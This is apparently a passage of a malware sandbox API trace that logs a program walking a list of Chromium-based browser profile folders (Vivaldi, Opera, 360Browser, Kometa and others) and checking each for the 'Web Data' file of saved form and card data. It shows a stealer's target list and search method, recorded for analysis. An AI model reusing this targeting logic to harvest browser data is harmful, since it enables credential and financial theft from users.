ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0164.139] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0164.139] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf329c, cbMultiByte=8, lpWideCharStr=0x1e7dea3c, cchWideChar=2047 | out: lpWideCharStr="Nichromers\\Historyium\\User Data\\Data\\r Data\\㘑瑮➠ῤゐῡṽ蒨瑰臰ῡ\x01") returned 8 [0164.139] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf0f9c, cbMultiByte=34, lpWideCharStr=0x1e7dea38, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Nichrome\\User Data\\Data\\r Data\\㘑瑮➠ῤゐῡṽ蒨瑰臰ῡ\x01") returned 34 [0164.139] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Nichrome\\User Data\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Nichrome\\User Data\\") returned 0x34 [0164.139] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x4140ac, cbMultiByte=16, lpWideCharStr=0x1e7dea40, cchWideChar=2047 | out: lpWideCharStr="Browsers\\Historyome\\User Data\\Data\\r Data\\㘑瑮➠ῤゐῡṽ蒨瑰臰ῡ\x01") returned 16 [0164.139] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Nichrome\\User Data\\\\*.*", lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0164.140] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de77c, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴t") returned 8 [0164.140] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Nichrome\\User Data\\\\\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\nichrome\\user data\\web data")) returned 0xffffffff [0164.140] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0164.140] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0164.140] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf33ec, cbMultiByte=8, lpWideCharStr=0x1e7dea3c, cchWideChar=2047 | out: lpWideCharStr="RockMeltrs\\Historyome\\User Data\\Data\\r Data\\㘑瑮➠ῤゐῡṽ蒨瑰臰ῡ\x01") returned 8 [0164.140] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf1084, cbMultiByte=34, lpWideCharStr=0x1e7dea38, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\RockMelt\\User Data\\Data\\r Data\\㘑瑮➠ῤゐῡṽ蒨瑰臰ῡ\x01") returned 34 [0164.140] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\RockMelt\\User Data\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\RockMelt\\User Data\\") returned 0x34 [0164.140] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x4140ac, cbMultiByte=16, lpWideCharStr=0x1e7dea40, cchWideChar=2047 | out: lpWideCharStr="Browsers\\Historyelt\\User Data\\Data\\r Data\\㘑瑮➠ῤゐῡṽ蒨瑰臰ῡ\x01") returned 16 [0164.140] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\RockMelt\\User Data\\\\*.*", lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0164.141] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de77c, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴t") returned 8 [0164.141] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\RockMelt\\User Data\\\\\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\rockmelt\\user data\\web data")) returned 0xffffffff [0164.141] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0164.141] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0164.141] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf3540, cbMultiByte=10, lpWideCharStr=0x1e7dea3c, cchWideChar=2047 | out: lpWideCharStr="360Browser\\Historyelt\\User Data\\Data\\r Data\\㘑瑮➠ῤゐῡṽ蒨瑰臰ῡ\x01") returned 10 [0164.141] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf1170, cbMultiByte=44, lpWideCharStr=0x1e7dea38, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\360Browser\\Browser\\User Data\\a\\㘑瑮➠ῤゐῡṽ蒨瑰臰ῡ\x01") returned 44 [0164.141] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\360Browser\\Browser\\User Data\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\360Browser\\Browser\\User Data\\") returned 0x3e [0164.141] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x4140ac, cbMultiByte=16, lpWideCharStr=0x1e7dea40, cchWideChar=2047 | out: lpWideCharStr="Browsers\\Historyowser\\Browser\\User Data\\a\\㘑瑮➠ῤゐῡṽ蒨瑰臰ῡ\x01") returned 16 [0164.141] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\360Browser\\Browser\\User Data\\\\*.*", lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0164.141] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de77c, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴t") returned 8 [0164.142] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\360Browser\\Browser\\User Data\\\\\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\360browser\\browser\\user data\\web data")) returned 0xffffffff [0164.142] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0164.142] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0164.142] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf3698, cbMultiByte=7, lpWideCharStr=0x1e7dea3c, cchWideChar=2047 | out: lpWideCharStr="Vivaldiers\\Historyowser\\Browser\\User Data\\a\\㘑瑮➠ῤゐῡṽ蒨瑰臰ῡ\x01") returned 7 [0164.142] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf126c, cbMultiByte=33, lpWideCharStr=0x1e7dea38, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Vivaldi\\User Data\\\\User Data\\a\\㘑瑮➠ῤゐῡṽ蒨瑰臰ῡ\x01") returned 33 [0164.142] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Vivaldi\\User Data\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Vivaldi\\User Data\\") returned 0x33 [0164.142] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x4140ac, cbMultiByte=16, lpWideCharStr=0x1e7dea40, cchWideChar=2047 | out: lpWideCharStr="Browsers\\Historydi\\User Data\\\\User Data\\a\\㘑瑮➠ῤゐῡṽ蒨瑰臰ῡ\x01") returned 16 [0164.142] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Vivaldi\\User Data\\\\*.*", lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0164.142] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de77c, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴t") returned 8 [0164.143] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Vivaldi\\User Data\\\\\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\vivaldi\\user data\\web data")) returned 0xffffffff [0164.143] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0164.143] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0164.143] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf37f0, cbMultiByte=5, lpWideCharStr=0x1e7dea3c, cchWideChar=2047 | out: lpWideCharStr="Operawsers\\Historydi\\User Data\\\\User Data\\a\\㘑瑮➠ῤゐῡṽ蒨瑰臰ῡ\x01") returned 5 [0164.143] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf1360, cbMultiByte=25, lpWideCharStr=0x1e7dea38, cchWideChar=2047 | out: lpWideCharStr="%APPDATA%\\Opera Software\\er Data\\\\User Data\\a\\㘑瑮➠ῤゐῡṽ蒨瑰臰ῡ\x01") returned 25 [0164.143] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\Opera Software\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Opera Software\\") returned 0x32 [0164.143] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x4140ac, cbMultiByte=16, lpWideCharStr=0x1e7dea40, cchWideChar=2047 | out: lpWideCharStr="Browsers\\Historyware\\er Data\\\\User Data\\a\\㘑瑮➠ῤゐῡṽ蒨瑰臰ῡ\x01") returned 16 [0164.143] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Opera Software\\\\*.*", lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0164.143] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de77c, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴t") returned 8 [0164.143] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Opera Software\\\\\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\opera software\\web data")) returned 0xffffffff [0164.144] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0164.144] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0164.144] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf394c, cbMultiByte=9, lpWideCharStr=0x1e7dea3c, cchWideChar=2047 | out: lpWideCharStr="GoBrowsers\\Historyware\\er Data\\\\User Data\\a\\㘑瑮➠ῤゐῡṽ蒨瑰臰ῡ\x01") returned 9 [0164.144] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf1450, cbMultiByte=29, lpWideCharStr=0x1e7dea38, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Go!\\User Data\\ata\\\\User Data\\a\\㘑瑮➠ῤゐῡṽ蒨瑰臰ῡ\x01") returned 29 [0164.144] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Go!\\User Data\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Go!\\User Data\\") returned 0x2f [0164.144] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x4140ac, cbMultiByte=16, lpWideCharStr=0x1e7dea40, cchWideChar=2047 | out: lpWideCharStr="Browsers\\Historyser Data\\ata\\\\User Data\\a\\㘑瑮➠ῤゐῡṽ蒨瑰臰ῡ\x01") returned 16 [0164.144] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Go!\\User Data\\\\*.*", lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0164.144] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de77c, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴t") returned 8 [0164.144] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Go!\\User Data\\\\\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\go!\\user data\\web data")) returned 0xffffffff [0164.144] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0164.145] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0164.145] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf3ab0, cbMultiByte=7, lpWideCharStr=0x1e7dea3c, cchWideChar=2047 | out: lpWideCharStr="Sputnikers\\Historyser Data\\ata\\\\User Data\\a\\㘑瑮➠ῤゐῡṽ蒨瑰臰ῡ\x01") returned 7 [0164.145] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf1548, cbMultiByte=41, lpWideCharStr=0x1e7dea38, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Sputnik\\Sputnik\\User Data\\ta\\a\\㘑瑮➠ῤゐῡṽ蒨瑰臰ῡ\x01") returned 41 [0164.145] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Sputnik\\Sputnik\\User Data\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Sputnik\\Sputnik\\User Data\\") returned 0x3b [0164.145] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x4140ac, cbMultiByte=16, lpWideCharStr=0x1e7dea40, cchWideChar=2047 | out: lpWideCharStr="Browsers\\Historyik\\Sputnik\\User Data\\ta\\a\\㘑瑮➠ῤゐῡṽ蒨瑰臰ῡ\x01") returned 16 [0164.145] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Sputnik\\Sputnik\\User Data\\\\*.*", lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0164.145] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de77c, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴t") returned 8 [0164.145] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Sputnik\\Sputnik\\User Data\\\\\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\sputnik\\sputnik\\user data\\web data")) returned 0xffffffff [0164.146] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0164.146] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0164.146] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf3c14, cbMultiByte=6, lpWideCharStr=0x1e7dea3c, cchWideChar=2047 | out: lpWideCharStr="Kometasers\\Historyik\\Sputnik\\User Data\\ta\\a\\㘑瑮➠ῤゐῡṽ蒨瑰臰ῡ\x01") returned 6 [0164.146] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf1650, cbMultiByte=32, lpWideCharStr=0x1e7dea38, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Kometa\\User Data\\ser Data\\ta\\a\\㘑瑮➠ῤゐῡṽ蒨瑰臰ῡ\x01") returned 32 [0164.146] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Kometa\\User Data\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Kometa\\User Data\\") returned 0x32 [0164.146] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x4140ac, cbMultiByte=16, lpWideCharStr=0x1e7dea40, cchWideChar=2047 | out: lpWideCharStr="Browsers\\Historya\\User Data\\ser Data\\ta\\a\\㘑瑮➠ῤゐῡṽ蒨瑰臰ῡ\x01") returned 16 [0164.146] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Kometa\\User Data\\\\*.*", lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0164.146] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de77c, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴t") returned 8 [0164.146] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Kometa\\User Data\\\\\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\kometa\\user data\\web data")) returned 0xffffffff [0164.146] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0164.146] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0164.147] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf3c28, cbMultiByte=4, lpWideCharStr=0x1e7dea3c, cchWideChar=2047 | out: lpWideCharStr="Uranowsers\\Historya\\User Data\\ser Data\\ta\\a\\㘑瑮➠ῤゐῡṽ蒨瑰臰ῡ\x01") returned 4 [0164.147] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf1754, cbMultiByte=40, lpWideCharStr=0x1e7dea38, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\uCozMedia\\Uran\\User Data\\\\ta\\a\\㘑瑮➠ῤゐῡṽ蒨瑰臰ῡ\x01") returned 40 [0164.147] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\uCozMedia\\Uran\\User Data\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\uCozMedia\\Uran\\User Data\\") returned 0x3a [0164.147] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x4140ac, cbMultiByte=16, lpWideCharStr=0x1e7dea40, cchWideChar=2047 | out: lpWideCharStr="Browsers\\Historyedia\\Uran\\User Data\\\\ta\\a\\㘑瑮➠ῤゐῡṽ蒨瑰臰ῡ\x01") returned 16 [0164.147] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\uCozMedia\\Uran\\User Data\\\\*.*", lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0164.147] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de77c, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴t") returned 8 [0164.147] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\uCozMedia\\Uran\\User Data\\\\\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\ucozmedia\\uran\\user data\\web data")) returned 0xffffffff [0164.147] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0164.147] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0164.148] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf3d94, cbMultiByte=7, lpWideCharStr=0x1e7dea3c, cchWideChar=2047 | out: lpWideCharStr="QIPSurfers\\Historyedia\\Uran\\User Data\\\\ta\\a\\㘑瑮➠ῤゐῡṽ蒨瑰臰ῡ\x01") returned 7 [0164.148] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf1864, cbMultiByte=34, lpWideCharStr=0x1e7dea38, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\QIP Surf\\User Data\\ Data\\\\ta\\a\\㘑瑮➠ῤゐῡṽ蒨瑰臰ῡ\x01") returned 34 